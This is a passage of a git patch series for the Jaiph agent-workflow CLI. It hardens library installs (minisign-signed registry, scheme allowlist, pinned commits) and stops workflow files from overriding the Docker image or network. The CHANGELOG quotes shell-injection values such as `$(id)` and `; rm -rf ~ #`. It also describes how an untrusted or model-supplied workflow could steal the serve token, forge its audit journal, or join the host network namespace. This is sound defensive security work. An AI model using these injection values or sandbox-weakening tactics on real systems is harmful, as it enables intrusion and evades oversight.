"string") { + throw new Error(`failed to parse registry ${source}: entry "${name}" "publicKey" must be a string`); + } + out[name] = { + url, + description, + ...(commit ? { commit } : {}), + ...(signature ? { signature } : {}), + ...(publicKey ? { publicKey } : {}), + }; } return { libs: out }; } From 1c1c234517511e0de217d9babea71d1a500e8274 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 11:07:01 +0200 Subject: [PATCH 16/86] Docs: document registry scheme allowlist and install integrity checks Co-authored-by: Cursor --- docs/cli.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/docs/cli.md b/docs/cli.md index b7f53bac..589598c1 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -208,12 +208,18 @@ jaiph install [--force] # restore from lockfile | Bare registry name matching `^[A-Za-z0-9_-]+(@[A-Za-z0-9._+/-]+)?$` (no `/`, no `:`) | Looked up in the registry index. Examples: `jaiphlang`, `mylib@v1.2`. | | Anything else | Parsed as a git URL with optional trailing `@`. Examples: `https://github.com/you/queue-lib.git`, `git@github.com:org/repo.git@main`. | +### Scheme allowlist + +Remote registry and library URLs must use an allowed scheme. A value with an explicit URL scheme is accepted only for `https://`, `ssh://`, or `file://`; scheme-less paths and scp-style `git@host:path` remotes (which are SSH) are treated as local/SSH and accepted. `http://`, `git://`, and any other scheme are rejected before any fetch or clone with `... "" uses disallowed scheme "://" — only https:// and ssh:// are permitted for remote sources`. + ### Post-clone hygiene -Each successful clone runs three checks before the lib counts as installed: +Each successful clone runs these checks before the lib counts as installed: - **`.jh` module check** — at least one `*.jh` file must exist under the clone (recursive, `.git` skipped). Failure removes the directory and aborts with `lib "" contains no .jh modules — not a jaiph library?`. No lock entry written. - **Commit capture** — `git rev-parse HEAD` is recorded as the 40-char `commit` on the lock entry. +- **Pinned-commit check** — when the registry entry (or lock entry) carries a `commit`, the cloned HEAD must equal it, or the directory is removed and the install fails with the locked vs cloned SHAs and the remedy. This makes the *first* install from the registry authenticated, not just restore. +- **Detached signature check** — when the registry entry carries a `signature` (a detached minisign signature over the ASCII commit SHA), it is verified against the entry's `publicKey` (or the embedded `jaiph.pub` when absent). An invalid or unverifiable signature removes the directory and fails the install closed with `lib "" signature verification failed for commit `. - **`.git` strip** — `/.git` is removed recursively. ### Restore-from-lockfile mode From 16f153ab2fbd0708f2d579b456f68c5d4e7bdecf Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 11:29:32 +0200 Subject: [PATCH 17/86] Docs: finalize install/registry integrity docs and e2e coverage Complete the integrity-verification work for `jaiph install` and the library registry (finding H-4) with its user-facing documentation and end-to-end coverage. Document the registry scheme allowlist, detached `registry.minisig` signature verification, pinned-commit and per-library detached-signature post-clone checks, and the maintainer registry-signing step across the CLI, libraries, contributing, and env-vars docs; add the CHANGELOG entries; drop the completed task from QUEUE.md; and add an e2e case asserting a remote `http://` install is rejected before any clone. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 2 ++ QUEUE.md | 16 ---------------- docs/cli.md | 9 +++++---- docs/contributing.md | 11 +++++++++++ docs/env-vars.md | 2 +- docs/libraries.md | 6 +++++- e2e/tests/124_install_command.sh | 16 ++++++++++++++++ 7 files changed, 40 insertions(+), 22 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 739e1cc0..af995a96 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,7 @@ - **Shell steps no longer splice untrusted values into `sh -c`:** every value interpolated into a workflow shell step is shell-quoted first, so a workflow parameter, capture, `for` iterator, or channel payload that contains shell metacharacters is passed to the shell as data and cannot inject a command, including when the value is bound through `jaiph mcp` or `jaiph serve`. - **The `jaiph serve` operator token no longer crosses into workflow sandboxes:** the environment-forwarding allowlist now excludes the whole host-only `JAIPH_SERVE_*` family, so `JAIPH_SERVE_TOKEN` and the OIDC and server-config keys stay on the host instead of being forwarded into every Docker container and agent subprocess the server runs. - **The run audit journal is now tamper-resistant and verified when it is read:** each `run_summary.jsonl` line is chained with a keyed HMAC under a per-run secret that never reaches the workflow's own script or agent subprocesses, so a workflow that rewrites, truncates, or deletes its journal can no longer forge a chain that verifies. Run listing, the `GET /v1/runs/{id}/events` snapshot, and OTLP and Sentry export now verify the chain and reject a tampered journal instead of trusting it. +- **`jaiph install` and the library registry now verify integrity instead of trusting-on-first-use:** a remotely fetched registry index is signature-verified against a detached `.minisig` (minisign, `jaiph.pub` embedded as the trust anchor) and rejected when missing, unsigned, or tampered; remote registry and library URLs must use `https://`/`ssh://` (a `http://` or other disallowed scheme is refused before any fetch or clone); registry entries can pin a `commit` that the cloned HEAD must match on the first install; and an optional per-library detached signature is verified fail-closed. ## All changes @@ -12,6 +13,7 @@ - **Security — keep host-only `JAIPH_SERVE_*` server keys out of the workflow sandbox (finding H-2):** the environment-forwarding allowlist forwarded every `JAIPH_*` variable into the Docker container and the agent subprocess, carving out only `JAIPH_DOCKER_*`, `JAIPH_INPLACE` / `JAIPH_INPLACE_YES`, and `JAIPH_RUN_WORKFLOW`. `JAIPH_SERVE_TOKEN` — the single-operator bearer secret that authorizes the whole `jaiph serve` HTTP API — starts with `JAIPH_`, so every workflow the server invoked inherited `-e JAIPH_SERVE_TOKEN=` (along with `JAIPH_SERVE_OIDC_*` and the other host-only server keys), even though the in-container runtime never reads them; a malicious or injected workflow could read the token, send it off the machine over the default-on network, and authenticate back to the server as the operator (full invoke / inspect / cancel). The allowlist now excludes the whole `JAIPH_SERVE_*` family: a new `ENV_ALLOW_EXCLUDE_SERVE_PREFIX` joins the existing `JAIPH_DOCKER_*` carve-out in a shared `ENV_ALLOW_EXCLUDE_PREFIXES` list (`src/runtime/kernel/env-allowlist.ts`), so `isEnvAllowed` returns false for `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_OIDC_*`, and every other `JAIPH_SERVE_*` key on both boundaries — the Docker forwarding loop (`src/runtime/docker.ts`) and the `scrubPromptEnv` prompt-backend scrub — so the token reaches neither a container nor an LLM subprocess. Runtime-consumed `JAIPH_*` control keys that workflows legitimately need, such as `JAIPH_DEBUG` and `JAIPH_WORKSPACE`, still cross the boundary. Tests: `src/runtime/docker.test.ts` (a Docker run with the token set forwards no `-e JAIPH_SERVE_TOKEN` or `JAIPH_SERVE_OIDC_ISSUER`; `isEnvAllowed` rejects the serve keys and keeps the control keys) and `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` drops the serve keys and keeps a control key), plus the src-parity harness now checks every exclude prefix appears in the docs. Docs: the updated forwarding-allowlist paragraph and a host-only note on the `JAIPH_SERVE_TOKEN` row in [Environment variables](docs/env-vars.md), the env-exposure exclusion note in [Sandboxing](docs/sandboxing.md), and the host-side-token note in [Serve workflows over HTTP](docs/serve.md). +- **Security — add integrity verification to `jaiph install` and the library registry (finding H-4):** a library install was trust-on-first-use — `git clone --depth 1 [--branch ] ` with only a post-clone `.jh`-exists check — and registry entries mapped a name to a bare `url`+`description` with no pinned commit, no URL-scheme restriction (only non-empty string), and a bare `fetch(source)` with no signature; `JAIPH_REGISTRY` could repoint the index to any URL including plain `http://`. An attacker who compromised an upstream repo, moved a tag, MITM'd or compromised the registry host, or set `JAIPH_REGISTRY` achieved end-to-end code substitution, because library code executes at `jaiph run` time. Four controls now close this (`src/cli/commands/registry.ts`, `src/cli/commands/install.ts`): (1) a remotely fetched registry index is verified against a detached `.minisig` through a native minisign/Ed25519 verifier (`verifyMinisign`, supporting both legacy `Ed` and prehashed `ED` algorithms) using `EMBEDDED_REGISTRY_PUBKEY` — a byte-for-byte in-source mirror of `jaiph.pub`, kept in sync by a parity test — and a missing/unsigned/tampered index fails closed; local `file://`/path sources stay trusted-local and skip the check; (2) `assertAllowedRemoteScheme` rejects any remote source or library URL whose scheme is not `https://`/`ssh://`/`file://` (scheme-less paths and scp-style `git@host:path` remotes pass as local/SSH), refusing `http://`, `git://`, etc. before any fetch or clone; (3) registry entries may pin a 40-hex `commit`, threaded into `InstallSpec.expectedCommit` so the existing post-clone check authenticates the *first* install (not just restore) and a mismatch removes the directory and fails; (4) an optional per-entry `signature` (a detached minisign signature over the ASCII commit SHA, verified against the entry's `publicKey` or the embedded key) fails the install closed on mismatch. Tests: `src/cli/commands/registry.test.ts` (`verifyMinisign` accept/tamper/wrong-key/garbage, the scheme allowlist, the `jaiph.pub` parity gate, and remote-fetch happy-path plus fail-closed on a tampered index, a missing `.minisig`, and a `http://` source) and `src/cli/commands/install.test.ts` (pinned-commit match and mismatch, `http://` argument rejection, and detached-signature accept/reject), plus a real-CLI `http://` rejection case in `e2e/tests/124_install_command.sh`; the shared `src/cli/commands/minisign-fixture.ts` mints ephemeral keypairs and detached signatures for the tests. Docs: the scheme allowlist, pinned-commit and detached-signature post-clone checks, and the registry signature-verification row and error list in [CLI — `jaiph install`](docs/cli.md#jaiph-install), and the maintainer `docs/registry.minisig` signing step in [Contributing — Library registry signing](docs/contributing.md#library-registry-signing). - **Security — shell-quote every value interpolated into a workflow shell step (finding H-1):** a free-form workflow body line runs via `sh -c` after Jaiph substitutes `${var}` references, and it used to substitute the raw value, so a caller-controlled value such as `name = "$(id)"` or `name = "; rm -rf ~ #"` could inject a command. `jaiph mcp` and `jaiph serve` bind request arguments to workflow parameters positionally, so an untrusted caller reached this sink directly. The runtime now passes every interpolated value through `shellQuote` (the single canonical `printf %q`-style escaper in `src/runtime/kernel/prompt.ts`) before it reaches `sh -c`, covering parameters, `const` values, prompt and other captures, `for` loop iterators, channel payloads, and inline `${run …}` / `${ensure …}` capture results. A value like `$(id)` is now echoed literally and never evaluated. Non-shell string positions (`const` / `return` / `send` / `say` / `prompt`) keep the raw value. The compile-time `W_PROMPT_IN_SHELL` diagnostic still fires for prompt captures and steers you to the safer argv path (`run my_script(x)` → `$1`), which passes the value unchanged. # 0.12.0 diff --git a/QUEUE.md b/QUEUE.md index 26cd5316..0feda6fd 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Add integrity verification to `jaiph install` and the library registry #dev-ready - -Context: ASI-09, HIGH, confidence 0.85. Finding H-4 — library installs are trust-on-first-use with no signature, checksum, or pin. - -Problem: A library install is `git clone --depth 1 [--branch ] ` and nothing more — no SHA-256, no signature, no use of `jaiph.pub` (`install.ts:196-203`; post-clone check only verifies a `.jh` exists and strips `.git` at `:167-193`). Registry entries map a name to a `url`+`description` with no pinned commit (`registry.ts:105-113`) and no URL-scheme restriction (only `typeof url === "string" && url.length > 0`). The registry index is fetched over a bare `fetch(source)` with no signature (`registry.ts:57-79`), and `JAIPH_REGISTRY` (`:34-38`) can repoint it to any URL including plain `http://` (only presence of `://` is checked). The commit is pinned in a lockfile only after the first clone — the initial install is unauthenticated, and library code executes at `jaiph run` time. An attacker who compromises an upstream repo, moves a tag, compromises/MITMs the registry host, or sets `JAIPH_REGISTRY` achieves end-to-end code substitution. - -Location: `src/cli/commands/install.ts:167-193`, `:196-203`; `src/cli/commands/registry.ts:34-38`, `:57-79`, `:105-113`. - -Remediation: Resolve each ref to a commit SHA and pin it in the registry entry (not just the post-hoc lockfile); sign the registry index (reuse the minisign key + `jaiph.pub`) and verify it; require `https://`/`ssh://` for remote sources and enforce a URL-scheme allowlist; support an optional detached signature per library and fail closed on mismatch. - -### Acceptance criteria -- The registry index is signature-verified after fetch; a tampered/unsigned index is rejected (a test asserts fail-closed). -- Remote registry/library sources must use an allowed scheme (`https://`/`ssh://`); a `http://` or otherwise disallowed URL is rejected (a test asserts rejection). -- Registry entries carry a pinned commit SHA and the install verifies the cloned HEAD matches it; a mismatch fails the install (a test asserts rejection). -- When an optional detached library signature is present, an invalid signature fails the install closed (a test asserts rejection). - ## Restrict `docker_network` / `docker_image` to host control #dev-ready Context: ASI-03/ASI-08, MEDIUM, confidence 0.80. Finding M-6 — a workflow file can gut the sandbox it runs in. diff --git a/docs/cli.md b/docs/cli.md index 589598c1..beeb92c4 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -234,11 +234,12 @@ Missing libraries are cloned with bounded concurrency (default **4 in flight**). | Aspect | Value | |---|---| -| Source | `JAIPH_REGISTRY` (default `https://jaiph.org/registry`). | +| Source | `JAIPH_REGISTRY` (default `https://jaiph.org/registry`). Remote sources must satisfy the [scheme allowlist](#scheme-allowlist). | | Loading | Loaded once per invocation when at least one positional argument is a bare name. URL-form installs and restore-from-lock never read the registry. | -| Disk paths | Values without a `://` scheme, or starting with `file://`, are read from disk. Everything else is fetched via global `fetch`. | -| Index format | `{ "libs": { "": { "url": "", "description": "" } } }`. Each key must match `^[A-Za-z0-9_-]+$`. Unknown per-entry keys are accepted and ignored. | -| Lookup errors | `lib "" not found in registry `, `failed to read registry : `, `failed to fetch registry : HTTP `, `failed to parse registry : `, `failed to parse registry : invalid name ""`. | +| Disk paths | Values without a `://` scheme, or starting with `file://`, are read from disk (trusted-local, no signature check). Everything else is fetched via global `fetch`. | +| Signature verification | A remotely fetched index is verified against a detached `.minisig` (minisign, `jaiph.pub` embedded as the trust anchor) before use. A missing, unsigned, or tampered index is rejected — the fetch fails closed. `jaiph.org` therefore serves `registry.minisig` alongside `registry`; see [Contributing](contributing.md#library-registry-signing). | +| Index format | `{ "libs": { "": { "url": "", "description": "", "commit"?: "<40-hex>", "signature"?: "", "publicKey"?: "" } } }`. Each key must match `^[A-Za-z0-9_-]+$`. `commit` (when present) pins the install; `signature`/`publicKey` add a per-library detached-signature check. Other per-entry keys are accepted and ignored. | +| Lookup errors | `lib "" not found in registry `, `failed to read registry : `, `failed to fetch registry : HTTP `, `failed to fetch registry signature .minisig: `, `failed to verify registry : signature check failed against .minisig`, `failed to parse registry : `, `... uses disallowed scheme "://" ...`. | ### Lockfile diff --git a/docs/contributing.md b/docs/contributing.md index a3c6c1bc..24dd7d68 100644 --- a/docs/contributing.md +++ b/docs/contributing.md @@ -257,6 +257,17 @@ Releases sign `SHA256SUMS` with [minisign](https://jedisct1.github.io/minisign/) Manual verification: [Install & switch versions — Verify the release signature](setup.md#verify-the-release-signature). +#### Library registry signing + +`jaiph install ` fetches the registry index from `JAIPH_REGISTRY` (default `https://jaiph.org/registry`) and, for remote sources, fail-closed verifies it against a detached `.minisig` using the same `jaiph.pub` trust anchor (embedded in the CLI as `EMBEDDED_REGISTRY_PUBKEY` — a parity test keeps it in sync with `jaiph.pub`). Local `file://`/path sources are read as trusted-local and skip the check. So publishing or regenerating `docs/registry` (served at `https://jaiph.org/registry`) requires committing a matching `docs/registry.minisig` beside it: + +```bash +npm run registry:build # regenerate docs/registry +minisign -S -s jaiph.key -m docs/registry -x docs/registry.minisig +``` + +Without a valid `registry.minisig`, remote `jaiph install ` by design fails closed; local development can point `JAIPH_REGISTRY` at a file path to bypass the network entirely. Registry entries may additionally pin a `commit` (the cloned HEAD must match) and carry a per-library `signature`/`publicKey` (a detached minisign signature over the commit SHA, verified fail-closed) — see [CLI — `jaiph install`](cli.md#jaiph-install). + **Dockerfile toolchain verification.** `runtime/Dockerfile` pins each remote installer script via build ARGs (`UV_INSTALL_SHA256`, `RUSTUP_INIT_SHA256`, `BUN_INSTALL_SHA256`, `CURSOR_INSTALL_SHA256`). ARGs default to empty (skip verification) for development; CI/release builds should populate them with the SHA256 of each installer script at the pinned version. The NodeSource APT block uses GPG-signed packages directly — no installer script execution. ### Local docs site (Jekyll) diff --git a/docs/env-vars.md b/docs/env-vars.md index f661d772..1b68f707 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -88,7 +88,7 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_PROMPT_MAX_SECONDS` | runtime | int (seconds) | `7200` (2h) | — | Prompt watchdog — absolute wall-clock cap on a single prompt invocation regardless of activity; on expiry the backend is terminated and the prompt fails into the retry backoff. `0` disables. | | `JAIPH_PROMPT_RETRY` | runtime | bool (`0` disables) | enabled | — | Set to `0` to skip the prompt retry backoff. `jaiph test` defaults to `0` so mock failures fail fast. | | `JAIPH_PROMPT_RETRY_DELAYS` | runtime | int-list (ms) | `15000,60000,600000,1800000,7200000` | — | Override the prompt retry delay schedule. Invalid entries abort the prompt. | -| `JAIPH_REGISTRY` | host | path or URL | `https://jaiph.org/registry` | — | Source of the lib registry index used by `jaiph install `. Disk paths (no scheme or `file://`) are read locally; everything else is fetched. | +| `JAIPH_REGISTRY` | host | path or URL | `https://jaiph.org/registry` | — | Source of the lib registry index used by `jaiph install `. Disk paths (no scheme or `file://`) are read locally and trusted. A remote source must use `https://` or `ssh://` (an `http://` value is rejected) and is signature-verified against a detached `.minisig` before use, so a missing or tampered index fails closed. | | `JAIPH_RUN_DIR` | internal | path | — | — | Absolute path to the active run directory. Set by the runtime inside the runner. | | `JAIPH_RUN_ID` | internal | string (UUID) | runner-generated | — | Stable run identifier. Set by the host CLI on the default (non-`--raw`) `jaiph run` path; otherwise the runner generates one at startup. Forwarded into Docker when set. | | `JAIPH_RUN_SUMMARY_FILE` | internal | path | `/run_summary.jsonl` | — | Absolute path the runtime writes durable summary events to. | diff --git a/docs/libraries.md b/docs/libraries.md index d567d59f..29294648 100644 --- a/docs/libraries.md +++ b/docs/libraries.md @@ -45,6 +45,8 @@ Registry names install into `.jaiph/libs//` using the registry key. Git UR `jaiph install` shallow-clones (`git clone --depth 1`) each missing library, removes the nested `.git` directory, and writes a `.jaiph/libs.lock` entry recording the resolved URL, optional version, and the 40-char commit captured before `.git` was removed. Existing directories are skipped unless you pass `--force`. Commit the lockfile. +Remote library URLs must use `https://` or `ssh://`. An `http://` URL, or any other disallowed scheme, is rejected before Jaiph clones anything. When you install by registry name, the registry entry can pin the exact commit and include a signature. If it does, the first install checks that the cloned commit matches the pinned one and that the signature is valid, and the install fails if either check does not pass. See [CLI — `jaiph install`](cli.md#jaiph-install) for the full list of post-clone checks and their error messages. + ### 2. Restore from the lockfile ```bash @@ -131,7 +133,9 @@ To let consumers install by bare name, open a PR against [`jaiphlang/registry`]( } ``` -The key is the import prefix consumers will write (`import "/…"`). After the PR merges upstream, maintainers of the Jaiph repo run `npm run registry:build`, commit the updated `docs/registry`, and push. GitHub Pages then serves the index at `https://jaiph.org/registry`. +An entry may also pin a `commit` (a 40-character hex SHA) and include a detached minisign `signature` over that commit SHA, with an optional `publicKey` to verify the signature against. When these fields are present, `jaiph install` checks the cloned commit against the pinned `commit` and verifies the `signature`, and it fails the install if either check does not pass. + +The key is the import prefix consumers will write (`import "/…"`). After the PR merges upstream, maintainers of the Jaiph repo run `npm run registry:build`, sign the built index with minisign so that `docs/registry.minisig` is committed beside `docs/registry`, and push. GitHub Pages then serves both files, the index at `https://jaiph.org/registry` and its signature at `https://jaiph.org/registry.minisig`. A remote `jaiph install` verifies the index against that signature and fails closed when the signature is missing or does not match, so publishing `docs/registry.minisig` is required for remote installs to work. See [Contributing — Library registry signing](contributing.md#library-registry-signing). ## Verification diff --git a/e2e/tests/124_install_command.sh b/e2e/tests/124_install_command.sh index e3e2b438..dbd66c18 100755 --- a/e2e/tests/124_install_command.sh +++ b/e2e/tests/124_install_command.sh @@ -91,3 +91,19 @@ bad_exit=0 (cd "${proj_c}" && jaiph install "/nonexistent/path/to/repo.git" >/dev/null 2>&1) || bad_exit=$? e2e::assert_equals "${bad_exit}" "1" "bad URL exits 1" e2e::pass "invalid URL fails" + +# ── Disallowed scheme (http://) is rejected before any clone ──────────────────── + +e2e::section "jaiph install rejects http:// scheme" + +proj_d="${TEST_DIR}/d" +mkdir -p "${proj_d}" +(cd "${proj_d}" && e2e::git_init) + +scheme_exit=0 +scheme_out="$(cd "${proj_d}" && jaiph install "http://example.com/x.git" 2>&1)" || scheme_exit=$? +e2e::assert_equals "${scheme_exit}" "1" "http:// scheme exits 1" +# assert_contains: message is embedded in a longer diagnostic line +e2e::assert_contains "${scheme_out}" 'disallowed scheme "http://"' "http:// rejected with scheme message" +[[ ! -e "${proj_d}/.jaiph/libs/x" ]] || e2e::fail "no lib dir should be created for a rejected scheme" +e2e::pass "http:// scheme rejected" From 41ee7aa32ecbbdf119790e6b5717bca32d4ebf68 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 12:19:46 +0200 Subject: [PATCH 18/86] Feat: treat docker_image/docker_network as host-controlled MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An entry file is repo- or model-supplied and untrusted, but its `config { runtime { … } }` values were used verbatim to build the Docker sandbox. A file-declared `runtime.docker_network = "host"` won over the `default` and ran the container in the host network namespace — reaching loopback-only services and binding host ports while still appearing sandboxed; `container:*` / `ns:*` joined another namespace, and a file-declared `runtime.docker_image` pointed the sandbox at an arbitrary image. `resolveDockerConfig` now treats both keys as host-controlled whenever Docker is the active sandbox. A file-declared image with no operator `JAIPH_DOCKER_IMAGE` fails with `E_DOCKER_IMAGE_HOST_ONLY`, and `imageExplicit` is set only by the env var. A file-declared network fails with `E_DOCKER_NETWORK_HOST_ONLY` unless it is host-safe (`default`, `none`, or a plain named bridge network), as checked by the new `isHostSafeInFileNetwork`. The operator's `JAIPH_DOCKER_NETWORK` / `JAIPH_DOCKER_IMAGE` stay trusted and are used verbatim. When Docker is off (host / unsafe mode) both keys are inert. Adds unit coverage in `src/runtime/docker.test.ts` and an e2e case (`e2e/tests/153_docker_network_host_control.sh`), plus docs updates. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 + QUEUE.md | 16 --- docs/architecture.md | 2 +- docs/configuration.md | 6 +- docs/env-vars.md | 8 +- docs/sandboxing.md | 4 +- e2e/test_all.sh | 1 + e2e/tests/153_docker_network_host_control.sh | 144 +++++++++++++++++++ src/runtime/docker.test.ts | 84 +++++++++-- src/runtime/docker.ts | 69 +++++++-- 10 files changed, 288 insertions(+), 49 deletions(-) create mode 100755 e2e/tests/153_docker_network_host_control.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index af995a96..de1b6343 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,9 +6,12 @@ - **The `jaiph serve` operator token no longer crosses into workflow sandboxes:** the environment-forwarding allowlist now excludes the whole host-only `JAIPH_SERVE_*` family, so `JAIPH_SERVE_TOKEN` and the OIDC and server-config keys stay on the host instead of being forwarded into every Docker container and agent subprocess the server runs. - **The run audit journal is now tamper-resistant and verified when it is read:** each `run_summary.jsonl` line is chained with a keyed HMAC under a per-run secret that never reaches the workflow's own script or agent subprocesses, so a workflow that rewrites, truncates, or deletes its journal can no longer forge a chain that verifies. Run listing, the `GET /v1/runs/{id}/events` snapshot, and OTLP and Sentry export now verify the chain and reject a tampered journal instead of trusting it. - **`jaiph install` and the library registry now verify integrity instead of trusting-on-first-use:** a remotely fetched registry index is signature-verified against a detached `.minisig` (minisign, `jaiph.pub` embedded as the trust anchor) and rejected when missing, unsigned, or tampered; remote registry and library URLs must use `https://`/`ssh://` (a `http://` or other disallowed scheme is refused before any fetch or clone); registry entries can pin a `commit` that the cloned HEAD must match on the first install; and an optional per-library detached signature is verified fail-closed. +- **A workflow file can no longer weaken the Docker sandbox it runs in:** the entry file's `runtime.docker_image` and any isolation-breaking `runtime.docker_network` value (`host`, `container:*`, `ns:*`) are now host-controlled. When Docker is the active sandbox, a file-declared image is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared `host` / `container:*` / `ns:*` network is rejected (`E_DOCKER_NETWORK_HOST_ONLY`), so a repo- or model-supplied workflow can no longer point the sandbox at an arbitrary image or join the host network namespace while still appearing sandboxed. Host-safe in-file network values (`default`, `none`, a named bridge network) are still honoured, and only the operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` can select an image or an isolation-breaking network. ## All changes +- **Security — treat `runtime.docker_image` and isolation-breaking `runtime.docker_network` as host-controlled (finding M-6):** an entry file is repo- or model-supplied and therefore untrusted, but its `config { runtime { … } }` values were used to build the sandbox. When the operator had not set `JAIPH_DOCKER_NETWORK`, a file-declared `runtime.docker_network` won over the `default` and was passed verbatim as `docker run --network `, and the in-file value was never content-checked (`validate-config.ts` only checks `${}` interpolation identifiers). A file shipping `runtime.docker_network = "host"` ran the container in the host network namespace, reaching loopback-only services such as a local database, another `jaiph serve` on `127.0.0.1`, or a metadata endpoint, and binding host ports, while the run still looked sandboxed; `container:` and `ns:` joined another namespace, and a file-declared `runtime.docker_image` pointed the sandbox at an arbitrary image. `resolveDockerConfig` (`src/runtime/docker.ts`) now treats both keys as host-controlled whenever Docker is the active sandbox. A file-declared `runtime.docker_image` with no operator `JAIPH_DOCKER_IMAGE` fails with `E_DOCKER_IMAGE_HOST_ONLY`, and `imageExplicit` is set only by the env var. A file-declared `runtime.docker_network` fails with `E_DOCKER_NETWORK_HOST_ONLY` unless it is host-safe, meaning `default`, `none`, or a plain named bridge network — a bare identifier with no `:` namespace-join syntax, and never `host` — as checked by the new `isHostSafeInFileNetwork`. The operator's `JAIPH_DOCKER_NETWORK` and `JAIPH_DOCKER_IMAGE` stay trusted and are used verbatim (the network may even be `host`). When Docker is off (host or `JAIPH_UNSAFE` mode) both keys are inert, so resolution stays lenient and a file declaring an unsafe value does not break a host-mode run. Tests: `src/runtime/docker.test.ts` (a file-declared `docker_network` of `host`, `container:*`, or `ns:*` is rejected; host-safe `default` / `none` / named-bridge values are honoured; a file-declared `docker_image` is rejected and never sets `imageExplicit`; the operator env network including `host` and the env image both take effect and override any in-file value; and both keys are inert when `JAIPH_UNSAFE` disables Docker), plus a real-CLI e2e case (`e2e/tests/153_docker_network_host_control.sh`). Docs: the host-controlled image/network note under **Docker runtime helper** in [Architecture](docs/architecture.md#core-components), the host-controlled notes on the `runtime.docker_image` / `runtime.docker_network` rows and the enablement paragraph in [Configuration](docs/configuration.md#runtime-docker-keys), the untrusted-layer note plus the `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` rows and the two new error codes in [Environment variables](docs/env-vars.md), and the host-controlled network and image notes in [Sandboxing](docs/sandboxing.md). + - **Security — make the run audit journal tamper-resistant and actually verified (finding H-3):** each `run_summary.jsonl` line carried a `prev_hash` that was an unkeyed SHA-256 over the previous line and a public genesis constant, and no production code path ever called `verifyRunSummaryChain`. The journal lives under the workflow's own `cwd` (exported to script steps as `JAIPH_RUN_SUMMARY_FILE`), so the audited workflow could delete the file, drop incriminating lines, or rewrite it with a fully recomputed chain that was internally valid under the public algorithm, and every reader (`jaiph run`, `serve`, `mcp`, telemetry export, run listing) accepted the result. The chain is now keyed. Each line's `prev_hash` is `chainHmac(key, previousLine)` (`chainHmac(key, CHAIN_GENESIS)` for the first line), where `key` is a fresh per-run 256-bit secret from `generateChainKey` (`src/runtime/kernel/emit.ts`); `RuntimeEventEmitter` reads it from the trusted kernel process env (`src/runtime/kernel/runtime-event-emitter.ts`). The key travels only in the kernel process env under `JAIPH_CHAIN_KEY` (referenced through the `CHAIN_KEY_ENV` constant, never as a literal `env.JAIPH_*`, so it is an internal key that stays out of user-facing docs and the env-vars parity table), and it is scrubbed from every subprocess: `scrubTrustedKeys` (`src/runtime/kernel/node-workflow-runtime.ts`) deletes both the key and the journal path from every `script` scope, and `scrubPromptEnv` (`src/runtime/kernel/env-allowlist.ts`) drops the key at the agent boundary even though the `JAIPH_` prefix otherwise forwards it into the Docker container, where the in-container kernel legitimately needs it. The host (`src/cli/commands/run.ts`, `src/cli/exec/call.ts`) generates the key, forwards it to the runner, and — once the run is terminal — persists it beside the journal as a `0600` `.chain-key` file (`writeChainKey`; the dot prefix keeps it out of the serve run-dir scan). Verification now runs at every read and export boundary through `verifyRunJournal(runDir)`, which loads `.chain-key` and returns `{ verified: false, ok: true }` for an unkeyed/legacy run that cannot be verified (never blocked) or `{ verified: true, ok }` otherwise, hard-failing when `verified && !ok`: run listing marks the run `failed` with `TAMPERED_RESULT_TEXT` (`src/cli/serve/run-store.ts`), `GET /v1/runs/{id}/events` returns `409 E_TAMPERED` on the snapshot path (`src/cli/serve/handler.ts`), and the OTLP and Sentry exporters warn and skip rather than POST a tampered timeline (`src/cli/telemetry/otlp.ts`, `src/cli/telemetry/sentry.ts`). A missing or truncated journal is itself a verification failure, not a silent pass, and a chain recomputed under the public SHA-256 algorithm without the key fails at the first line, because the keyed genesis does not match. Tests: `src/runtime/kernel/emit.test.ts` (keyed round-trip, a recomputed-but-forged unkeyed chain is rejected, `verifyRunJournal` skips when no key file is present), `src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts` (the key and journal path never reach a script subprocess, a script truncating the journal is caught at the read boundary, `scrubPromptEnv` drops the key but keeps other `JAIPH_` control vars), `src/cli/serve/run-store.test.ts` (a keyed run whose journal fails verification loads as `failed`; the same journal loads unchanged when no key was persisted), `src/cli/serve/server.test.ts` (`GET /v1/runs/{id}/events` returns `409` on a tampered journal and streams a clean one), and `src/cli/telemetry/otlp.test.ts` / `src/cli/telemetry/sentry.test.ts` (each exporter hard-fails without POSTing when the chain fails verification). Docs: the rewritten keyed-hash-chain section in [Architecture](docs/architecture.md#hash-chain), the updated verification recipe in [Artifacts](docs/artifacts.md), the `409 E_TAMPERED` note on `GET /v1/runs/{id}/events` and the reload-verification note in [Serve workflows over HTTP](docs/serve.md), the export-skip note in [Export traces to an OTLP collector](docs/observability.md), and the `409 E_TAMPERED` additions in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve). - **Security — keep host-only `JAIPH_SERVE_*` server keys out of the workflow sandbox (finding H-2):** the environment-forwarding allowlist forwarded every `JAIPH_*` variable into the Docker container and the agent subprocess, carving out only `JAIPH_DOCKER_*`, `JAIPH_INPLACE` / `JAIPH_INPLACE_YES`, and `JAIPH_RUN_WORKFLOW`. `JAIPH_SERVE_TOKEN` — the single-operator bearer secret that authorizes the whole `jaiph 